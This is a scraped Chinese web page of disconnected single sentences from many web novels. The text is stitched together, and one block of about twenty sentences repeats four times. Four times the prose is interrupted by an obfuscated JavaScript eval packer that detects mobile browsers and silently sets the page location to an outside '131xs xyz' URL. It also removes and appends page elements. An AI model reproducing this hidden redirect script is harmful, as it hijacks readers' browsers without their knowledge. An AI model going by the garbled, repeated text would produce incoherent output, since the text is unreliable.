他前言不搭后语,末了还故作垂老之状,捂着胸口喘息了一番,似乎真的已经暮气沉沉了。 众**与堂主接到这个消息均是一愣,因为蓝丹凤任教主十余年,下面的人推荐给她的亲传弟子没有一百也有八十,蓝丹凤一个也没要。 “给。”这时候,湘紫瑶伸手,将一柄墨色的剑交到了天明的手中。这不是墨眉是什么? 宫千竹跑出了船篷,外面的狂风立即吹起了长发衣裙,她连忙放下帘子,不让风吹进船篷里面。 但不得不说的是,刘德华能将白发老者给秒杀掉,还是有点出乎人们的意料,同时内心之中也是震惊无比的。 陈浩然将那一棵千年人参的根须全都切了下来封存起来,这些根须虽不及人参的主体躯干药效强,但每一条根须也能够相当于一棵百年人参的药力。 第一卷 第230章 老兵不死! 刹那间,六人身死,剩下几名衙役也都被吓破了胆。 果不其然,刚刚走出咖啡店不远,夏悠立即就感觉到,身后有人在跟踪。 有着“蕴含邪神之力的神秘银钥匙”和令咒的共同压制,疯子元帅肯定无法反抗。 还不就任由它去了,有什么事情到时候再说吧,反正它这一顿惩罚,肯定是免不了的了。 萧铮想了想,他要不要表现出一点点感动之情?可是面对这张脸,他似乎感动不起来。 瞬间,七宝玲珑塔倒飞而出,由于是李靖的宝器,所以不被无极赤阳阵所阻止,直接飞出了数千里疆域,落在了原始森林中。 四周,众人如临大敌,目光紧盯着眼前火焰,看到它们终于在变弱时,心底不由自主的舒了一口气。 鸟儿争先恐后的飞上天空,一片片树林被夜风撩动,滔天的火光璀璨耀眼。 那种药,她见识得多了,吃下它的人初时会浑身酸软无力,但等尝到那风月的味道后,他就会变得像嗜血般的疯狂,会将人体最本能的**激发出来,变得狠戾、无情。 “大大大人,我想你一定是在说梦话,要不我去叫医生帮你看一下吧。”她不相信弗兰克会说出这样的话,受宠若惊地慌了,有些红晕的脸转了过去。 认出四人身份,凤潇和玉景风本就阴郁的脸色瞬间又是一沉,都露出了愤怒之色。 当然不止这一切,还有出事那天谢一楠被媒体拍下的不雅照一起处理的干干净净。 修为涌动,在半空稳住身形后,卓川发现自己已经来到了远古废墟的所在地。 这是一场令天使战争也相形见绌的骇人场面,血族之父与血族之母用尽了所有已知的血之魔力,用各自的血试图削减对方的不朽之躯,恐怕唯有路西法与米迦勒的战斗场面能与之媲美。 他穿着宽松白T恤、长牛仔裤,将棒球帽帽沿压得低到只能看见他高直的鼻梁以及瘦削的脸,那副装扮与她在含弘中学看到的别无二致。 “不管是什么样的果都是自己种的因,因果需要自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135533|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己吃下去,不然天道轮回后,你们依旧逃不过因果。”一峒离开了城池,高耸的城墙在他的眼中也只不过是轻轻一跃的事。 “哥哥?”莹儿忍不住的睁开眼眸,却听到轻微的鼻息,吴辰已经熟睡了。 又几年后,这片天地发生大变,灵气澎湃,四人打坐时境界自然而然的突破,踏足命穴。 郁成功心心念念的希望这趟活能顺顺利利的结束,只要他就有足够的钱可以脱离刘三,然后堂堂正正的过上普通人的生活了。 此物不是其他,正是北苍大陆之上让人趋之若鹜,垂涎万分的鸾灵螭鲤。 十指连心,又怎么可能不疼,但余知葳当真是半分不敢停,她生怕耽搁一下,余靖宁就真的先她一步而去了。 濮阳梓君很想问问月倾城,她是否认识濮阳梓君的家人,他们过得怎么样? 还有,当时,艾雨萌和李雅倩根本就不是简单地找月倾城聊聊,他们不仅用言语攻击她,还动手推她,如果不是君墨涵及时赶来,会动手**也不一定。 第一卷 第231章 面见沈文澹! “这飞机要多长的跑道?”祈欣突然被专业性的问道难到,疑惑的看着李悦问道。 “我如果不用这个办法,回不了国的,呵呵!”墨宁笑的很勉强。 那一瞬,冷弥浅突然觉得自己的心又柔和了一些,莫名的……让她觉得心生雀跃。 “你居然敢杀神殿祭司!”为首的祭司语气冰寒,仿若要将郭浪冻结一般。 她不敢相信,怯怯地揪起身上的薄被一看,吓得脸色都发青了,她身上什么都没穿,只有一条浴巾缠绕着搭在胸口。 这些红纹草是任劳帮秦明收集而来的,数量并不多,只有一千余棵,捆成几捆放在边上,看起来可怜兮兮的。 “你是华夏人?你是否想买那些图160跟**?”现在这种情况还有人像自己伸出了橄榄枝,他想了半天除了是华夏人外,没有人再对自己有想法了。 “寒世子来敝府不下数次了,这园子里的花草恐怕早就看腻了,今日家宴我父亲特地准备了珍馐,不如我们移步到偏厅尝尝如何?”看到两人越走越近,李墨极为不爽的挡在了冷洛身前,伸手指向不远处的方向。 从走廊里走出来,安琪伸手抚了一下刘海,她这才发觉,原来自己早已满头大汗,都是被吓出的虚汗。今天是靳大森的头七,万一他的孩子有什么损伤,她恐怕会连晚上睡觉都不敢吧。 是夜,北凌风冲完凉之后,裹着浴袍站在卧室的落地窗前,一边俯视夜色,一边抽着香烟。 尤鹏飞虽然是一位元神期的强者,更是宣台城的城主,可是手上的上品灵石也不是很多,要是一下子拿出来一百块,也足以让他肉痛。 说完神鹰把1金币给投了进去,然后出现了各种各样的菜名。而且旁边还附带了图片,只不过钱贵的让我侧目。最低的是1金币不错。 “有一部分。”黎昕说道,宁儒熙的预言帮他解决了很多麻烦事情。 两人心情激动地说道,但他们却还有着疑问,自己的身体被改造后,到底有什么特别? “吼!”见贺兰瑶要把火焰球抛向它,白虎急切的吼了一声,两只爪子扒着贺兰瑶的鞋面,脑袋摇晃着,露出讨好的意思。 而此时的少年面色惨白,呼吸急促,根本说不出话,之前被巨人夹带太久,巨人又连动怒火震伤了少年的脏器,这一过程,在场所有人都看的很清楚,但谁也没说话 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ,冷冷的看着洪六表演。 在这股毁灭法则之力的作用下,周围原本就已经虚无一片的空间,开始出现了无数条空间裂缝。 彭伟华的态度有所改观,虽然祝磊再三劝解,他也不会跟自己的徒弟赔礼道歉,但碰了面能够主动点头打招呼,这已经算是低下了头。 “你把海关给的地址让我看一下。”钟凌羽让她把照片调出来,她赶紧从照片中翻出了一张递过来,钟凌羽让她输入导航路线,看看距离目标地点有多远。 铁木云倒是惊讶。没想到这黑龙王还有这番本事。四大家族族长都已经停留在了玄帝境界。如今以前大陆的最强者,也就是自己的师傅也要退上一步了。 杨广禁受不住她直视自己的目光,红着脸低头朝茶碗中望去,果见茶碗中一根根碧绿的茶针直挺挺地竖在淡褐色的茶水之中,甚是稀奇,脸上不禁露出了惊讶的表情。 如今已经开始征收土地税,公务人员越来越多,脱产士兵的数量也在增加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135534|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,更为严峻的是因为社会分工的细致分化,不少人脱离了体力劳动,成为了专职的管理者,这就需要更多的税收来养活这些人。 前者是砸入地面的声音,后者则是砸在林伟铭的“金属天幕”上的声音。 为了让主力球员不至于因为疲劳而出现太多的意外,有些比赛就必须有所取舍,以获得更多的调整休息时间。 吴千重心生疑问,今天沪市顶级的大少几乎都来了,再说来人姓唐,脑子搜索一番还真不知道来者何人。 严绍要是因为他在历史上的失利而藐视他,最后不知道**的怕就是他自己了。 “伟铭哥,你帮帮我吧,拜托了!”蔡雅向他鞠了一躬没有起身。 可要是当一个真真正正的玉美人摆在你面前的时候,你又怎么还可能会去在乎一个玉人呢? 不过让李晨风庆幸的是,慕柯云此时的脾气似乎很好,并没有难为他。 在这里过夜?这里离山顶不是很远,似乎并不安全。但是也没有别的办法,只是如果万一有丧尸摸进来怎么办?也不用多,只需有一个我们就死定了。 嘉莉丝点了点头,对于这个所谓的学院大赛她虽然没什么太大的兴致,不过毕竟是答应了泰米雅,所以此刻听一听关于这个的消息倒也不错,起码不用到时候两眼一抹黑,反正系统哥那里还有经验和称号可以拿。 双方见了礼,大太太又‘交’代了两句,便各自坐上自己的车子。 殇点点头,对着天空中的伏羲星辰举起了绝地魔刀,等待奇迹出现的一刻。 期间又拍卖了几样香料,皆是来自西月,花溪没有出手,想到以后到了西月还有机会,所以只是坐在一旁看别人竞价,顺便就拍品给欧阳铮讲解一二。 第一卷 第232章 守国门,铸脊梁! 这让秦逸庆幸不已,而众人对于秦逸的领导能力和应变能力,已经是佩服得五体投地,也都愿意相信秦逸。 “哼!怎么回事?哈哈哈!你不觉得问的问题很无知吗?怎么回事?我们城主大人珍藏多年的好酒都还在你的手上,你还问她是怎么回事?先前说话那人一脸冷笑地说道。 龙狮当即同意,凌霄四人便随着段无涯身后的侍从离开,前去治疗伤口,而段无涯自己则留在了广场上和龙狮、火彤在一起。 顾十八娘再一次看了眼淹没在举着酒杯的手臂中的信朝阳,笑意散去,吐了口气,转身向外而去。 手中的玉扳指猛的闪过一道白光,冲破了那点点金光,本来仿若被山压体的压迫感瞬间解除,紧接着韩凝的心口处又闪过一道白光,彻底打碎那金色的光芒。 “走了好几天吧?无错不少字下雪了,路上不好走吧?无错不少字曹氏跟他闲话,又问家里人可好。 “凝儿,少喝点,对孩子不好。韩烟觉得有些不对劲,忙抢了韩凝手中的酒杯,无奈的劝着。 不需要心中天人交战,也不需要踟蹰的咬咬牙,连夜当即将门扉拉开,抻着美九的柔荑,将美九拉进了房间内。 “**?我**,你欺君,很好,不过,很可惜,你看不到老夫**的那一天了,一会老夫便让你吐出俱元丹,然后,将你的尸体送给镇南王……哈哈。 “凝儿……百里傲云轻轻唤了一声,想说什么,感觉有些无力,又坐回了桌前,韩凝只是微微停了一下脚步,便又继续向前走去。 龙鳞飞犀利的眸子犹如一把利剑射到田雪身上,在母亲面前,他也没有丝毫的怯场,心里洋溢着一抹淡淡的笑意。 她一直抱着侥幸的心理,认为幽都王的转世没那么容易死,可是他**,竟然**。 顾允儿纳然的一愣,一脸的不明所以,完全不明白他这话是什么意思,美眸本能的朝手机屏幕望去,目光触及上面的来电显示是修宁二字时,没由来的愣了一下。 南黎川意味深长的举起高脚杯,视线通过摇晃的红酒穿透在不远处的距离,锁定在舞池边的一道身影上,嘴角鬼魅的勾起。 不仅是这样,还为了我的母亲我也要坚强的活下去,我绝不能让我母亲就这么不明不白的**,我一定要变得强大起来,找 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 出杀我母亲的凶手为她报仇。 君寒天站在试炼塔前,回头朝楚羿冷冷一笑,俊朗的脸庞上,满是浓浓的淡漠与不屑之色,仿佛结着万载玄冰的眼眸中,迸射出阴厉无比的寒芒。 一道无形的波纹,自额前涌现,接着迅速往外扩散,瞬间就将方圆五百米笼罩。 郭喜军正值盛年,武道修为大有可期,历经西蜀沉浮,大魏涤荡,以及大夏的峰回路转。 所以他自然就和别人不同了,一个晚上就排出别人好几年才会有的垃圾,自然就成了那副狼狈样啰。 陈风虽然,不清楚,他们到底,在亡者大陆上,布置了什么手段。 二狗子后面的行动也要退居幕后了,但不管如何,真出事,到秦茹那边就断了。一旦纺织厂那边内部没处理好,来个转交派出所,那秦茹就要死咬不松口了。就咬定于强喝多了,对她乱来。 侍卫赶忙上前将曹操扶住,却发现曹操的脸色已经有些发青了,赶忙呼唤人来。 叶笙觉得第一军校,从上到下都挺割裂的。他现在还没完成第一次历练,没有学分没有名次,所以看不到排行榜。但他为数不多遇到的几个正常人,都是排行榜中上的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135535|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 咸丰皇帝内心更加确定自己的怀疑了,当年自己坠马,未必是意外,很有可能就是一个阴谋。 沈千聿一直想带宋挽回一次京郊别院,可奈何他的身体反反复复,不曾好利索。 不过阿扎尔虽然没有将白叶拦下来,但是也成功的影响了白叶的推进,让白叶的速度并没有全速拉满。 鹿静目放精光,开心起来。早上的气都没了,他点头微笑,"太好了。没有了【死亡】的威胁,今天这两只笼肯定想都不用想,是他和雷威开。 甚至苏曳大人绕城而过的时候,也没有人出城,哪怕寒暄几句也没有。 曾国藩就提前安排,让沈葆桢之父沈廷恩进京,贿赂了祁寯藻等人,这才使得曾国藩的湖北巡抚成功到手了。 慕宥宸轻叹:“岳父大人应该不在银晶殿了,就算是在,趁这个空挡也该被段梦送走了。 巨龙还在冲击着亚瑟,亚瑟朝一边扑倒后,巨龙才转过身来站在地上,展开着翅膀。 “?”夜倾城百分百肯定,那男人肯定发现她了,只是对方的举动真的非常莫名奇妙,竟然还给她留东西。 金丹中期的刀魄,拥有可以比拟金丹后期的强大攻击力,而且过之不及,所以在强大自信下,自己最终使用飞刀击破蛟龙剑意,从而一举重创凌雪崖。 对,那个晚上多玩论坛的服务器直接被张伟搞出来的这么一个玩意给弄成半瘫痪了。 7营和8营纷纷撤到了二百米到三百米防线,苗团长对李贵说道:“打仗都得**,先不说这些了。李营长你带人前去加强防线的防守……”李贵敬礼领命而去。 叶枫看着身后不断奔跑的青鸾,她身上的火焰,嚣张无比,随即青鸾啾一声,化为一道星辰,从地面飞射起来,身上火焰闪烁无比,焚烧天空。 第一卷 第233章 接手矿山! 沈文澹离开了,韩惊虎则是带着凌川前往矿山。 百姓最是喜欢说闲话,谁要是被挂了黑旗,一定会被四面八方的其他闾里嘲讽,而且是当面嘲讽。 这么多的东西就这么堆在两个孩子的屋子里也不行,楚云骁只能先吩咐人将东西都带出去。 牛惠当然知道李欣玥难得来,除了来领工资、拿奖励,很难见到她的身影。 中忍考场就是这两个家伙的后门,结果这两个家伙堵门不让他们进去。 【老坛酸菜牛肉面】来自某个世界的酸菜牛肉面,味道鲜美,尽享美味,可冲泡,可干吃。 “你已经做好了选择?”木兰压抑着,一直压抑着,她身边已经有太多人离开了。 唐宝一脸疑惑,听到这人自称是来自美丽国的格瑞特,了然点点头。 这时代天黑了之后吹口哨是禁忌,因为盗匪晚上吹口哨互相交流,所以喜欢吹口哨的李牛趁着还没天黑吹个尽兴。 一顿饭让李欣玥有了个新想法,只是晚上没睡好,胃口不太好,一碗面条只吃了一半。 成千上百的剑花在空中闪烁,旋转不停,逼近过来,如同千万飞舞的利刃要将眼前的一切纷纷绞杀。 “想怎么样?我想的多了!不过,我现在只想要你!”罗格说着,然后直接向着苏姗扑了过去。 等昕儿打好水后,紫涵把她好说歹说哄到外面,让她还有别人都不可以进来,紫涵可不想让那么多双眼睛看着她洗澡。 但这个时候的白起却没有工夫理会这些,或者他早已猜到了这种结果。他从来就不是一个为了往日辉煌而沾沾自喜不可自拔的人,因为他可以确信自己以后能够取得更辉煌的成绩。现在他需要做的只是把自己的战果变得更大。 而他这个始作俑者却一直待在武塔顶层闭关修炼,任何外面如何风云变化,他自安然不动。 紫涵起得还算挺早的,她换下嫁衣,穿了一件淡粉色绣着银线莲花的纱裙,不过还是得化浓妆,狠狠地扑了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135536|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层粉,吓得昕儿以为紫涵疯了。 “我古九堂堂浩然宗天骄,难道真的要死在这里不成?”古九悲呼,脸上愤懑,眼中带着强烈的不甘。 “月娥姐,相信我!他肯定不是我的对手!”云逸轻声一笑,目光中充满了自信。 “不用考虑了,就这个,我们去结账吧。”金羿微微笑道,其实按照饕餮所说,自己已经是赚了。 医生告诉她那全是为她治疗的新型仪器刺激了她的脑电波,控制了她的听觉、视觉、触觉、味觉、嗅觉,所以她被刺激的脑电波会让她进入梦境中,像是亲身体验一样。 结果三人吃饭喝酒,就是真的吃饭喝酒,对沈洋去‘帮忙’参加奥运会,连提都没提过。 叶唯接过纸巾,却没有丝毫的动作。她很享受这样可乐从她的手上一滴一滴的被地底吸收的感觉。她很享受。 战争,就是催化剂,虽然其他势力的传奇强者数量也在增加,像是夏河这种,手下突飞猛进的情况,就比较罕见了。 第一卷 第234章 震慑! 就在慕容潇上马的那一瞬间,另外两名资深者终于借助一道闪电,瞥见了慕容潇的面容,顿时叫出声来。 随后赤火借着焰火遮挡,手掌一送,东元法钟急速旋转着飞了出去,嘭的一声闷响,打在其中一头龙猿的脑门,轻易的将这头龙猿打得脑门破裂,浆液迸飞。 作为一个强大的帝国,绝对少不得海上部队,神蛟帝国的神蛟巨舟,极为出名,仅仅比巨角帝国四十三丈长的神武巨舟差一些。 火矢对那些攻城器械还是很有威胁的,涂上了火油之后火箭的附着力比较强,对于攻城塔也有一定麻烦。数千支火箭插在了攻城塔上,火油附着在木板上面,燃起了火焰。 直到现在,白入医师,才知道不是中医无法治病,只是他孤陋寡闻,没有见过真正jīng通中医的入而已。 “哈哈!第四个!”龙歌笑道,把气星六级的魔核收进了空间戒指里面,然后消失在海水之间。 目光远眺,前方宛若天堑般横亘的山峦叠嶂,人影闪动,显然驻扎了大批人马。凌风没有多想,直接控制金色舫舟飞了过去。 “当然,我以后一定会谨遵刘市长的安排做事,再也不会僭越一点了。”张延华说。 张天松心中一惊,原来那时还有外人在场,自己竟然毫无所觉,而且此时也看不出他的深浅,莫非他的境界修为,比自己散人后期还要高?**境? 能挡住一时算一时!这是他此刻脑中唯一念头。只见在他吩咐下,周围众位阵法大师,连同数十万大乘修士,连连掐出法诀,稳固受到大力冲击的阵眼。 我依旧那副微笑的模样望着他,良久,冷风冷哼一声,退了回去。我呲牙一乐,转身看向了对面的王超,嘿嘿一笑,脚步一点向着半空飞去。 今夜,洁兰公主带着红莲绿玉夜探拓跋可汗的府宅,也是因为她已经掌握了拓跋可汗的一些情况,只是还不能确定拓跋可汗就是十六年前,匈奴国左将军拓跋辉的后人。 不一会,他只觉一股清流进入了自己身体,然后在炙热的身体里四处游走,最终阴阳交会,汇为一处,彻底融为一体。 当然,若是真能挡住敌军的进攻,进而为击败敌军创造机会的话,那么花费再大的代价也都是值得的。 没过多久,声响与光芒都慢慢平息了下去,妖龙萧凯的声音传了过来。 这下子 ,只听得,‘劈里啪啦’‘稀里哗啦’,一泄千里,一肚子的气和杂质急赶慢赶得,都出去了,肚子是舒服了,可是再一次的又牵动了受伤的经脉,疼得又一阵痉挛。 而就在这时,这黑龙妖突然扭脸,一双如血的红目紧盯着林逸那边。 并且多给她一些报酬的话,她可以找关系,让梅花还债的时间,往后面推推。 听到山洞两字,吴福明的身体不自主的颤抖了一下,尽管隐藏着元果的山洞洞口比较隐秘,可再隐秘也不是绝对的天衣无缝,不然吴福明他怎么能找得到? 简单的对话完成,一道红色的光芒从大殿之中飞了出去!于此同时我们也是来到死寂之地的外围。这里的植物已经渐渐稀少,存在的也是一些有毒的植物、动物。 “阿成,你不是到地窑去取那罐糯米酒吗?怎么跑到外面去了?”龙朝晖不解地问。 凭借着许晓堪比战将级魂宠的力量,白有德藏在衣服内的软甲,根本起不到什么防御作用,反而被许晓轻松划破,飙出一道血线。 “黑岩莽,希望再次碰到你。”孙悟星咧嘴一笑,露出来了兴奋的神情,他想要再战黑岩莽。 因此,作为秦风的“继承者”,许晓也继承了这两只魂宠的“契约权”。 他记得这个集装箱里,装的是来自巴西的一些东西,里面有一些木材,外面箱子里装的是一些伐木工具,包括圈锯、链锯、油锯之类的。 一直被人用忍术轰炸而难以还击,纵然是他也不禁生出了一丝无名之火。 龙鹤年默默地看着面前这个头精尾灵的曾孙,一股热潮冲击着他的心扉,一种冥冥的感知紧紧地攫住了他。 看着从天空中下落的封雪,被艾莎保护的那些孩子均是双眼无神地望着犹如神明降世般的封雪。 别说将级,就算是神级,只要还未步入神级巅峰,在实力尚未处于巅峰的X1、X4好X9面前,也同样翻不起多大的浪花来。 大致数了数,朱羽就确定,参加拍卖的远不止这一个大院子里的人。因为光看房间号就已经超出三十个了。 “你到底杀不杀?你不杀她,我可就杀你了!”卓远端起枪,吐掉烟头,直直的瞄准了**的脑袋。 她举止很轻柔的从被子里站起来,柳腰一扭,骑在卓远腰间,两支玉指把卓远的烟头捏到烟灰缸去。 我点了点头,心说,那就更没错了,这只“黄玉金蟾”肯定是老中医要我拿回的物件儿。 一番话说的简洁明了,这话的意思就是要告那些发不实新闻的新闻社和网站了,顿时大家都为那些新闻社捏了一把冷汗。 我顿时把胳膊一甩,丢给他一句话,“你在外面等着!”甩开强顺,我也从斜坡上冲下去,钻进了林子里。 “可是集团对集团的收购是很复杂很漫长的,你们的协商谈判都要很长时间吧,可惜我这儿有点事拖不得。”卓远叹息道。 ,只听得,‘劈里啪啦’‘稀里哗啦’,一泄千里,一肚子的气和杂质急赶慢赶得,都出去了,肚子是舒服了,可是再一次的又牵动了受伤的经脉,疼得又一阵痉挛。 而就在这时,这黑龙妖突然扭脸,一双如血的红目紧盯着林逸那边。 并且多给她一些报酬的话,她可以找关系,让梅花还债的时间,往后面推推。 听到山洞两字,吴福明的身体不自主的颤抖了一下,尽管隐藏着元果的山洞洞口比较隐秘,可再隐秘也不是绝对的天衣无缝,不然吴福明他怎么能找得到? 简单的对话完成,一道红色的光芒从大殿之中飞了出去!于此同时我们也是来到死寂之地的外围。这里的植物已经渐渐稀少,存在的也是一些有毒的植物、动物。 “阿成,你不是到地窑去取那罐糯米酒吗?怎么跑到外面去了?”龙朝晖不解地问。 凭借着许晓堪比战将级魂宠的力量,白有德藏在衣服内的软甲,根本起不到什么防御作用,反而被许晓轻松划破,飙出一道血线。 “黑岩莽,希望再次碰到你。”孙悟星咧嘴一笑,露出来了兴奋的神情,他想要再战黑岩莽。 因此,作为秦风的“继承者”,许晓也继承了这两只魂宠的“契约权”。 他记得这个集装箱里,装的是来自巴西的一些东西,里面有一些木材,外面箱子里装的是一些伐木工具,包括圈锯、链锯、油锯之类的。 一直被人用忍术轰炸而难以还击,纵然是他也不禁生出了一丝无名之火。 龙鹤年默默地看着面前这个头精尾灵的曾孙,一股热潮冲击着他的心扉,一种冥冥的感知紧紧地攫住了他。 看着从天空中下落的封雪,被艾莎保护的那些孩子均是双眼无神地望着犹如神明降世般的封雪。 别说将级,就算是神级,只要还未步入神级巅峰,在实力尚未处于巅峰的X1、X4好X9面前,也同样翻不起多大的浪花来。 大致数了数,朱羽就确定,参加拍卖的远不止这一个大院子里的人。因为光看房间号就已经超出三十个了。 “你到底杀不杀?你不杀她,我可就杀你了!”卓远端起枪,吐掉烟头,直直的瞄准了**的脑袋。 她举止很轻柔的从被子里站起来,柳腰一扭,骑在卓远腰间,两支玉指把卓远的烟头捏到烟灰缸去。 我点了点头,心说,那就更没错了,这只“黄玉金蟾”肯定是老中医要我拿回的物件儿。 一番话说的简洁明了,这话的意思就是要告那些发不实新闻的新闻社和网站了,顿时大家都为那些新闻社捏了一把冷汗。 我顿时把胳膊一甩,丢给他一句话,“你在外面等着!”甩开强顺,我也从斜坡上冲下去,钻进了林子里。 “可是集团对集团的收购是很复杂很漫长的,你们的协商谈判都要很长时间吧,可惜我这儿有点事拖不得。”卓远叹息道。 ,只听得,‘劈里啪啦’‘稀里哗啦’,一泄千里,一肚子的气和杂质急赶慢赶得,都出去了,肚子是舒服了,可是再一次的又牵动了受伤的经脉,疼得又一阵痉挛。 而就在这时,这黑龙妖突然扭脸,一双如血的红目紧盯着林逸那边。 并且多给她一些报酬的话,她可以找关系,让梅花还债的时间,往后面推推。 听到山洞两字,吴福明的身体不自主的颤抖了一下,尽管隐藏着元果的山洞洞口比较隐秘,可再隐秘也不是绝对的天衣无缝,不然吴福明他怎么能找得到? 简单的对话完成,一道红色的光芒从大殿之中飞了出去!于此同时我们也是来到死寂之地的外围。这里的植物已经渐渐稀少,存在的也是一些有毒的植物、动物。 “阿成,你不是到地窑去取那罐糯米酒吗?怎么跑到外面去了?”龙朝晖不解地问。 凭借着许晓堪比战将级魂宠的力量,白有德藏在衣服内的软甲,根本起不到什么防御作用,反而被许晓轻松划破,飙出一道血线。 “黑岩莽,希望再次碰到你。”孙悟星咧嘴一笑,露出来了兴奋的神情,他想要再战黑岩莽。 因此,作为秦风的“继承者”,许晓也继承了这两只魂宠的“契约权”。 他记得这个集装箱里,装的是来自巴西的一些东西,里面有一些木材,外面箱子里装的是一些伐木工具,包括圈锯、链锯、油锯之类的。 一直被人用忍术轰炸而难以还击,纵然是他也不禁生出了一丝无名之火。 龙鹤年默默地看着面前这个头精尾灵的曾孙,一股热潮冲击着他的心扉,一种冥冥的感知紧紧地攫住了他。 看着从天空中下落的封雪,被艾莎保护的那些孩子均是双眼无神地望着犹如神明降世般的封雪。 别说将级,就算是神级,只要还未步入神级巅峰,在实力尚未处于巅峰的X1、X4好X9面前,也同样翻不起多大的浪花来。 大致数了数,朱羽就确定,参加拍卖的远不止这一个大院子里的人。因为光看房间号就已经超出三十个了。 “你到底杀不杀?你不杀她,我可就杀你了!”卓远端起枪,吐掉烟头,直直的瞄准了**的脑袋。 她举止很轻柔的从被子里站起来,柳腰一扭,骑在卓远腰间,两支玉指把卓远的烟头捏到烟灰缸去。 我点了点头,心说,那就更没错了,这只“黄玉金蟾”肯定是老中医要我拿回的物件儿。 一番话说的简洁明了,这话的意思就是要告那些发不实新闻的新闻社和网站了,顿时大家都为那些新闻社捏了一把冷汗。 我顿时把胳膊一甩,丢给他一句话,“你在外面等着!”甩开强顺,我也从斜坡上冲下去,钻进了林子里。 “可是集团对集团的收购是很复杂很漫长的,你们的协商谈判都要很长时间吧,可惜我这儿有点事拖不得。”卓远叹息道。 ,只听得,‘劈里啪啦’‘稀里哗啦’,一泄千里,一肚子的气和杂质急赶慢赶得,都出去了,肚子是舒服了,可是再一次的又牵动了受伤的经脉,疼得又一阵痉挛。 而就在这时,这黑龙妖突然扭脸,一双如血的红目紧盯着林逸那边。 并且多给她一些报酬的话,她可以找关系,让梅花还债的时间,往后面推推。 听到山洞两字,吴福明的身体不自主的颤抖了一下,尽管隐藏着元果的山洞洞口比较隐秘,可再隐秘也不是绝对的天衣无缝,不然吴福明他怎么能找得到? 简单的对话完成,一道红色的光芒从大殿之中飞了出去!于此同时我们也是来到死寂之地的外围。这里的植物已经渐渐稀少,存在的也是一些有毒的植物、动物。 “阿成,你不是到地窑去取那罐糯米酒吗?怎么跑到外面去了?”龙朝晖不解地问。 凭借着许晓堪比战将级魂宠的力量,白有德藏在衣服内的软甲,根本起不到什么防御作用,反而被许晓轻松划破,飙出一道血线。 “黑岩莽,希望再次碰到你。”孙悟星咧嘴一笑,露出来了兴奋的神情,他想要再战黑岩莽。 因此,作为秦风的“继承者”,许晓也继承了这两只魂宠的“契约权”。 他记得这个集装箱里,装的是来自巴西的一些东西,里面有一些木材,外面箱子里装的是一些伐木工具,包括圈锯、链锯、油锯之类的。 一直被人用忍术轰炸而难以还击,纵然是他也不禁生出了一丝无名之火。 龙鹤年默默地看着面前这个头精尾灵的曾孙,一股热潮冲击着他的心扉,一种冥冥的感知紧紧地攫住了他。 看着从天空中下落的封雪,被艾莎保护的那些孩子均是双眼无神地望着犹如神明降世般的封雪。 别说将级,就算是神级,只要还未步入神级巅峰,在实力尚未处于巅峰的X1、X4好X9面前,也同样翻不起多大的浪花来。 大致数了数,朱羽就确定,参加拍卖的远不止这一个大院子里的人。因为光看房间号就已经超出三十个了。 “你到底杀不杀?你不杀她,我可就杀你了!”卓远端起枪,吐掉烟头,直直的瞄准了**的脑袋。 她举止很轻柔的从被子里站起来,柳腰一扭,骑在卓远腰间,两支玉指把卓远的烟头捏到烟灰缸去。 我点了点头,心说,那就更没错了,这只“黄玉金蟾”肯定是老中医要我拿回的物件儿。 一番话说的简洁明了,这话的意思就是要告那些发不实新闻的新闻社和网站了,顿时大家都为那些新闻社捏了一把冷汗。 我顿时把胳膊一甩,丢给他一句话,“你在外面等着!”甩开强顺,我也从斜坡上冲下去,钻进了林子里。 “可是集团对集团的收购是很复杂很漫长的,你们的协商谈判都要很长时间吧,可惜我这儿有点事拖不得。”卓远叹息道。 